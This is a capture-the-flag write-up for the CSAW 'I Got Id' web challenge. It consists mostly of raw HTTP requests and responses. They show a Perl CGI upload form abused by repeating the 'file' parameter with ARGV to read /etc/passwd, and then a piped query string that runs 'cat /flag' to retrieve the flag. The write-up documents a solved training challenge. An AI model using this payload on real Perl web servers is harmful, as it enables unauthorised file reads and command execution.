# I Got Id
Regular request:
```POST /cgi-bin/file.pl HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 340
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 09:58:10 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 560Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">	<head>		<title>Perl File Upload</title>		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />	</head>	<body>		<h1>Perl File Upload</h1>		<form method="post" enctype="multipart/form-data">			File: <input type="file" name="file" />			<input type="submit" name="Submit!" value="Submit!" />		</form>		<hr />abcd</body></html>```
Sending `file` parameter twice to obtain LFI:
```POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 476
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"Content-Type: text/plain
ARGV-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 10:04:42 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 1927Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">	<head>		<title>Perl File Upload</title>		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />	</head>	<body>		<h1>Perl File Upload</h1>		<form method="post" enctype="multipart/form-data">			File: <input type="file" name="file" />			<input type="submit" name="Submit!" value="Submit!" />		</form>		<hr />root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false_apt:x:104:65534::/nonexistent:/bin/false</body></html>```
Converting LFI to RCE:
```POST /cgi-bin/file.pl?cat%20/flag%20%23| HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 476
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"Content-Type: text/plain
ARGV-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 10:05:32 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 587Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">	<head>		<title>Perl File Upload</title>		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />	</head>	<body>		<h1>Perl File Upload</h1>		<form method="post" enctype="multipart/form-data">			File: <input type="file" name="file" />			<input type="submit" name="Submit!" value="Submit!" />		</form>		<hr />FLAG{p3rl_6_iz_EVEN_BETTER!!1}</body></html>```
References:
[The Perl Jam 2: The Camel Strikes Back 32c3](https://www.youtube.com/watch?v=eH_u3C2WwQ0)
[https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a](https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a)